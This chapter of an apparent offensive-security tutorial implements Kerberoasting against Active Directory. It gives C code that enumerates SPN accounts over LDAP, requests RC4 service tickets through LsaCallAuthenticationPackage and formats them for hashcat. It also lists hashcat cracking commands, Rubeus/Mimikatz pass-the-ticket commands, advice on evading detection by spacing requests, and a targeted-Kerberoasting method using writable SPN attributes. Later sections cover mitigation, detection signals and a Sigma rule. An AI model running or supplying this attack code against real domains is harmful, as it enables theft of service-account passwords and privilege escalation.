Chapter 99

Kerberoasting Implementation

Enumerating service accounts with SPNs via LDAP, requesting TGS tickets through LsaCallAuthenticationPackage, extracting the RC4-HMAC encrypted blob, and cracking it offline with hashcat

Scenario

You have a domain user account — low privilege, no admin rights. This is enough. In most enterprise domains, every domain user can request a Kerberos service ticket for any service account that has a Service Principal Name (SPN) registered. The ticket is encrypted with the service account's NT hash. You extract the encrypted blob, take it offline, and crack the password — if the service account has a weak password, you now own it. Service accounts are prime targets: they often have high privileges (Domain Admin, SQL sysadmin), use long-lived weak passwords set years ago, and are rarely monitored for unusual authentication.

Kerberos TGS Request — The Mechanism Being Abused

Normal Kerberos service access flow: Client KDC (DC) Service | | | |-- AS-REQ (TGT request) -->| | |<-- AS-REP (TGT, enc with krbtgt hash) --| | | | | |-- TGS-REQ (service ticket request) --->| | | Contains: TGT + SPN of target service | |<-- TGS-REP (service ticket, enc with SERVICE account hash) -| | | | |-- AP-REQ (authenticate to service) ----------------> | | Contains: service ticket | |<-- AP-REP (authenticated) --------------------------> | What Kerberoasting abuses: The TGS-REP contains a service ticket encrypted with the service account's NT hash. Any domain user can request this ticket for ANY service with a registered SPN. The KDC does NOT check whether the requesting user actually needs access to that service. We never use the ticket to authenticate — we just extract the encrypted blob and crack it offline to recover the service account's password. Required: Any valid domain user account (domain authentication only) Required: Target account must have a servicePrincipalName attribute set The KDC logs Event 4769 for every TGS request — this is the detection signal

Why Service Accounts Are the Best Targets

FactorWhy It Helps Attackers
Long-lived passwordsService account passwords often set once and never changed — same password for 3-10 years, making offline cracking much more likely to succeed
High privilegesMany service accounts are Domain Admin, local admin on many machines, or have SQL sysadmin — cracking one gives immediate lateral movement
Weak password policiesService accounts often exempt from complexity requirements or rotation policies — passwords are simpler than user account passwords
RC4 allowed by defaultMost domains still support RC4-HMAC (etype 23) for backwards compatibility — RC4 TGS tickets are much faster to crack than AES-256
No lockoutOffline cracking against a captured hash has no lockout — unlimited guesses without any DC interaction after the initial TGS request

Step 1 — SPN Enumeration via LDAP

LDAP query to find all user accounts with a non-empty servicePrincipalName attribute. The filter (&(objectClass=user)(servicePrincipalName=*)(!samAccountType=805306370)) finds human/service accounts (not machine accounts) with SPNs:

#include <windows.h>
#include <winldap.h>
#include <winber.h>
#include <stdio.h>
#pragma comment(lib, "wldap32.lib")

typedef struct _SPN_ACCOUNT {
    WCHAR sAMAccountName[256];
    WCHAR spn[512];
    WCHAR dn[1024];
} SPN_ACCOUNT;

DWORD EnumerateSPNAccounts(SPN_ACCOUNT *accounts, DWORD maxAccounts) {
    // Connect to LDAP on default DC (uses Kerberos auth automatically)
    LDAP *ld = ldap_init(NULL, LDAP_PORT);
    if (!ld) return 0;

    ULONG ver = LDAP_VERSION3;
    ldap_set_option(ld, LDAP_OPT_PROTOCOL_VERSION, &ver);
    ldap_bind_s(ld, NULL, NULL, LDAP_AUTH_NEGOTIATE);  // use current user's credentials

    // Get domain DN from rootDSE
    WCHAR *rootAttrs[] = { L"defaultNamingContext", NULL };
    LDAPMessage *rootRes = NULL;
    ldap_search_s(ld, NULL, LDAP_SCOPE_BASE, L"(objectClass=*)",
                  rootAttrs, 0, &rootRes);
    LDAPMessage *rootEntry = ldap_first_entry(ld, rootRes);
    WCHAR **dcVals = ldap_get_values(ld, rootEntry, L"defaultNamingContext");
    WCHAR baseDN[512];
    wcscpy_s(baseDN, 512, dcVals[0]);
    ldap_value_free(dcVals);
    ldap_msgfree(rootRes);

    // Search for accounts with SPNs (not machine accounts)
    WCHAR *attrs[] = { L"sAMAccountName", L"servicePrincipalName",
                       L"distinguishedName", L"msDS-SupportedEncryptionTypes", NULL };
    LDAPMessage *res = NULL;
    ULONG rc = ldap_search_s(ld, baseDN, LDAP_SCOPE_SUBTREE,
        L"(&(objectClass=user)(servicePrincipalName=*)(!samAccountType=805306370))",
        attrs, 0, &res);

    if (rc != LDAP_SUCCESS) {
        ldap_unbind(ld); return 0;
    }

    DWORD count = 0;
    LDAPMessage *entry = ldap_first_entry(ld, res);
    while (entry && count < maxAccounts) {
        WCHAR **sam = ldap_get_values(ld, entry, L"sAMAccountName");
        WCHAR **spns = ldap_get_values(ld, entry, L"servicePrincipalName");
        WCHAR **dn  = ldap_get_values(ld, entry, L"distinguishedName");

        if (sam && spns) {
            wcscpy_s(accounts[count].sAMAccountName, 256, sam[0]);
            wcscpy_s(accounts[count].spn, 512, spns[0]);  // take first SPN
            if (dn) wcscpy_s(accounts[count].dn, 1024, dn[0]);
            count++;
        }

        if (sam) ldap_value_free(sam);
        if (spns) ldap_value_free(spns);
        if (dn)  ldap_value_free(dn);
        entry = ldap_next_entry(ld, entry);
    }

    ldap_msgfree(res);
    ldap_unbind(ld);
    return count;
}

Step 2 — Requesting TGS Tickets via LsaCallAuthenticationPackage

To request a TGS ticket for a specific SPN, call the Kerberos LSA authentication package with the KerbRetrieveEncodedTicketMessage message type. This requests a ticket from the KDC and returns the raw encoded Kerberos ticket structure. Critically, you can force RC4-HMAC encryption (etype 23) to get a ticket that cracks faster:

#include <windows.h>
#include <ntsecapi.h>
#include <stdio.h>
#pragma comment(lib, "secur32.lib")

// Kerberos message types
#define KERB_RETRIEVE_ENCODED_TICKET_MESSAGE  8

// KERB_RETRIEVE_TKT_REQUEST (KerbRetrieveEncodedTicketMessage)
typedef struct _KERB_RETRIEVE_TKT_REQUEST {
    KERB_PROTOCOL_MESSAGE_TYPE MessageType;
    LUID                       LogonId;
    UNICODE_STRING             TargetName;    // SPN to request
    ULONG                      TicketFlags;
    ULONG                      CacheOptions;  // KERB_RETRIEVE_TICKET_USE_CACHE_ONLY or 0=request from KDC
    LONG                       EncryptionType;// KERB_ETYPE_RC4_HMAC_NT=23, 0=default, 18=AES-256
    SecHandle                  CredentialsHandle;
} KERB_RETRIEVE_TKT_REQUEST;

typedef struct _KERB_RETRIEVE_TKT_RESPONSE {
    KERB_EXTERNAL_TICKET Ticket;
} KERB_RETRIEVE_TKT_RESPONSE;

BOOL RequestTGS(const WCHAR *spn, BYTE **ticketOut, ULONG *ticketLen) {
    HANDLE lsaHandle;
    NTSTATUS status;
    LSA_STRING packageName;
    ULONG authPackage;

    // Connect to LSA (untrusted caller — no special rights needed)
    status = LsaConnectUntrusted(&lsaHandle);
    if (status != 0) return FALSE;

    packageName.Buffer        = (char*)MICROSOFT_KERBEROS_NAME_A;
    packageName.Length        = (USHORT)strlen(MICROSOFT_KERBEROS_NAME_A);
    packageName.MaximumLength = packageName.Length + 1;

    status = LsaLookupAuthenticationPackage(lsaHandle, &packageName, &authPackage);
    if (status != 0) { LsaClose(lsaHandle); return FALSE; }

    // Build request: ask for RC4-HMAC (etype 23) — required for crackable hash
    DWORD spnLen    = (DWORD)(wcslen(spn) * sizeof(WCHAR));
    DWORD reqSize   = sizeof(KERB_RETRIEVE_TKT_REQUEST) + spnLen + sizeof(WCHAR);
    KERB_RETRIEVE_TKT_REQUEST *req = (KERB_RETRIEVE_TKT_REQUEST*)calloc(1, reqSize);

    req->MessageType     = (KERB_PROTOCOL_MESSAGE_TYPE)KERB_RETRIEVE_ENCODED_TICKET_MESSAGE;
    req->CacheOptions    = 8;  // KERB_RETRIEVE_TICKET_USE_CACHE_ONLY=0, force new request=8
    req->EncryptionType  = 23; // KERB_ETYPE_RC4_HMAC_NT — force RC4 for crackability

    // SPN string is placed immediately after the struct
    WCHAR *spnBuf = (WCHAR*)((BYTE*)req + sizeof(*req));
    wcscpy_s(spnBuf, spnLen / sizeof(WCHAR) + 1, spn);
    req->TargetName.Buffer        = spnBuf;
    req->TargetName.Length        = (USHORT)spnLen;
    req->TargetName.MaximumLength = (USHORT)(spnLen + sizeof(WCHAR));

    KERB_RETRIEVE_TKT_RESPONSE *resp = NULL;
    ULONG respLen = 0;
    NTSTATUS subStatus;

    status = LsaCallAuthenticationPackage(
        lsaHandle, authPackage, req, reqSize,
        (PVOID*)&resp, &respLen, &subStatus);

    free(req);
    LsaClose(lsaHandle);

    if (status != 0 || subStatus != 0) return FALSE;

    // resp->Ticket contains the raw encoded ticket and its parts
    // The encrypted part we need is in resp->Ticket.EncodedTicket
    *ticketLen = resp->Ticket.EncodedTicketSize;
    *ticketOut = (BYTE*)malloc(*ticketLen);
    memcpy(*ticketOut, resp->Ticket.EncodedTicket, *ticketLen);

    LsaFreeReturnBuffer(resp);
    return TRUE;
}

Step 3 — Extracting the Hashcat-Ready Blob from the Ticket

The raw Kerberos ticket returned by LSA is an ASN.1-encoded structure. For hashcat's -m 13100 (Kerberos TGS-REP etype 23), you need to extract the encrypted part and format it as $krb5tgs$23$*username$realm$spn*$edata1$edata2. The encrypted part starts after the ASN.1 wrapping:

// The KERB_EXTERNAL_TICKET has the raw encoded ticket bytes.
// For hashcat format, we need the enc-part from the TGS-REP body.
// The format is:
//   $krb5tgs$23$*sAMAccountName$DOMAIN$SPN*$first16bytesOfEncryptedPart$restOfEncryptedPart
//
// The "rest" starts at byte 16 of the encrypted part in the ASN.1 blob.
// The "first16" is the checksum portion used by hashcat to verify cracking.
//
// Python implementation (from impacket GetUserSPNs.py reference):
// enc_part starts after the EncTicketPart ASN.1 wrapper.
// Offset into the raw ticket bytes varies — parse the KRB5 structure.
//
// Simplest path: use impacket's GetUserSPNs.py or Rubeus.exe for production.
// The C implementation above demonstrates the core LsaCallAuthenticationPackage approach.

void FormatForHashcat(const BYTE *encTicket, DWORD len,
                       const WCHAR *user, const WCHAR *realm,
                       const WCHAR *spn) {
    // encTicket: raw bytes from KERB_EXTERNAL_TICKET.EncodedTicket
    // For etype 23, bytes 0-15 = checksum (HMAC-MD5), bytes 16+ = ciphertext
    // hashcat wants them separated at byte 16

    printf("$krb5tgs$23$*%S$%S$%S*$", user, realm, spn);

    // First 16 bytes (checksum / edata1)
    for (DWORD i = 0; i < 16 && i < len; i++)
        printf("%02x", encTicket[i]);
    printf("$");

    // Rest (edata2)
    for (DWORD i = 16; i < len; i++)
        printf("%02x", encTicket[i]);
    printf("\n");
}

.kirbi File Format

Rubeus and Mimikatz output Kerberos tickets in the .kirbi format — a base64-encoded KRB_CRED structure (ASN.1). This is the standard portable ticket format for injection attacks (Pass-the-Ticket) and tool interoperability:

.kirbi = base64(DER-encoded KRB_CRED ASN.1 structure) KRB_CRED structure: pvno: 5 msg-type: 22 (krb-cred) tickets: [KRB_TICKET] ← the actual Kerberos ticket enc-part: EncKrbCredPart ← encrypted with session key (or unencrypted with no key) Tools: Rubeus dump → .kirbi files per ticket Rubeus kerberoast /outfile:hashes.txt → hashcat format directly Mimikatz kerberos::list /export → .kirbi files impacket ticketConverter.py → .kirbi ↔ .ccache conversion Inject a stolen .kirbi for Pass-the-Ticket: Rubeus ptt /ticket:base64_encoded_ticket Mimikatz: kerberos::ptt ticket.kirbi

Offline Cracking with Hashcat

# hashcat mode 13100 = Kerberos TGS-REP etype 23 (RC4-HMAC)
hashcat -m 13100 kerberoast_hashes.txt /path/to/wordlist.txt

# With rules — dramatically increases success rate
hashcat -m 13100 kerberoast_hashes.txt rockyou.txt \
    --rules-file /usr/share/hashcat/rules/best64.rule \
    --rules-file /usr/share/hashcat/rules/d3ad0ne.rule

# Mask attack for service accounts with password patterns
# Pattern: ServiceName + Year (e.g., "SqlSvc2019!", "Backup2021@")
hashcat -m 13100 hash.txt -a 3 'Service?u?l?l?l?d?d?d?d?s'

# For AES-256 tickets (etype 18) — much slower
hashcat -m 19700 kerberoast_aes.txt rockyou.txt

# GPU speed comparison (RTX 3090):
# RC4-HMAC (etype 23): ~5.8 billion H/s → rockyou.txt (~14M passwords) in milliseconds
# AES-256-CTS-HMAC-SHA1 (etype 18): ~1.1 million H/s → rockyou.txt takes ~13 seconds
# The speed difference is 5000x — always prefer RC4 tickets for cracking

RC4 vs AES — Targeting Strategy

ScenarioStrategy
Domain allows RC4 (most domains still do)Force etype 23 (RC4) in your TGS request — tickets crack ~5000x faster than AES
msDS-SupportedEncryptionTypes = 0x18 (AES only)Target is AES-only — you get etype 18 regardless; factor cracking time into priority
Account has both RC4 and AES enabledExplicitly request RC4 by setting EncryptionType=23 in the LSA call
Prioritizing targetsFocus on accounts with adminCount=1 (protected by AdminSDHolder, likely privileged), Domain Admin group members, service accounts with "svc" / "sa" in name
Operational stealthRequest tickets one at a time with delays — bulk requests (many 4769 events in seconds) triggers honeypot and threshold-based detections
AES-only enforcement

An administrator can set msDS-SupportedEncryptionTypes to 0x18 (AES128 + AES256 only, no RC4) on service accounts. When this is set, the KDC will only issue AES-encrypted tickets for that account, regardless of what etype the requester asks for. This makes Kerberoasting still possible but ~5000x slower. Combined with a strong password (20+ characters, random), a service account with AES-only encryption and a random password is effectively uncrackable with current hardware in any reasonable timeframe. This is Microsoft's recommended mitigation for Kerberoasting.

Detection

SignalSourceFidelity
Multiple TGS requests (Event 4769) for different SPNs from one source IP in short timeDC Security Log (4769)High — volume anomaly; legitimate use is one or two SPNs per session
Event 4769 with TicketEncryptionType = 0x17 (RC4, decimal 23) for service accountsDC Security Log (4769)Medium-High — RC4 requests for service accounts from modern clients (which prefer AES) are suspicious
Event 4769 from unusual source (new workstation, non-standard hours)DC Security Log (4769)Medium — correlate with baseline; automated tooling often runs off-hours
Honey service account TGS request — a fake SPN account with no legitimate usersDC Security Log (4769)Very High — any request for a honeypot SPN is an immediate indicator
LDAP query with filter containing servicePrincipalName=*DC LDAP audit / ETWMedium — also done by legitimate tools (SCCM, monitoring); frequency and source matter

Sigma Rule

title: Kerberoasting — RC4 TGS Requests for Service Accounts
id: 4c71b2b7-5c2d-4b1e-8c1a-1f7d3e2a9b4c
status: stable
description: Detects potential Kerberoasting via RC4-encrypted TGS requests for user accounts
references:
  - https://attack.mitre.org/techniques/T1558/003/
author: detection-engineering
logsource:
  product: windows
  service: security
detection:
  selection:
    EventID: 4769
    TicketEncryptionType: '0x17'   # RC4-HMAC
    ServiceName|endswith:
      - '$'                         # exclude machine accounts (end with $)
  filter:
    ServiceName: 'krbtgt'           # exclude TGT requests
  condition: selection and not filter
  timeframe: 5m
  condition_count: selection | count() by IpAddress > 3
falsepositives:
  - Legacy applications that only support RC4
  - Old application servers requesting RC4 tickets
level: medium
tags:
  - attack.credential_access
  - attack.t1558.003

Q&A

Does Kerberoasting require any authentication, or can it be done unauthenticated?

Standard Kerberoasting requires a valid domain account — you must authenticate to the KDC to get a TGT first, and then you use that TGT to request TGS tickets. An unauthenticated attacker cannot request TGS tickets from a Kerberos KDC. However, there are related techniques that work without authentication: AS-REP Roasting (chapter 100) targets accounts with Kerberos pre-authentication disabled and works completely unauthenticated. Additionally, Kerberoasting from the internet is possible if you have any domain user account at all — even a low-privilege contractor account or a helpdesk account from a phishing attack. The initial foothold only needs to be a valid domain account; it does not need any elevated privileges. This is what makes Kerberoasting so powerful as a post-phishing technique: you compromise a low-privilege user, enumerate SPNs, grab all roastable hashes, and crack them offline. If any service account has a weak password, you immediately escalate far beyond your initial access.

How does Targeted Kerberoasting (ShadowCred / ACL abuse) work?

Standard Kerberoasting is passive — you target service accounts that already have SPNs. Targeted Kerberoasting is active: if you have write access to a user account's servicePrincipalName attribute (via WriteSPN or GenericWrite ACL), you can add a fake SPN to any user account (even one without existing SPNs), request a TGS ticket for that SPN, crack the ticket to get the account's password, then remove the fake SPN. This transforms a write-ACL primitive on a high-value account (like a Domain Admin) into a credential theft: you don't need to enumerate existing SPNs — you create one temporarily on the exact target you want. The attack adds an SPN via LDAP ldap_modify on the target account, requests the TGS (which will be encrypted with the target's NT hash since the SPN is now registered on their account), then immediately removes the SPN. The 4769 event on the DC will show the SPN name you created, and 4738 will show the attribute change — both are detectable, but the window is short if you clean up quickly. BloodHound identifies WriteSPN and GenericWrite ACL edges as paths to this technique.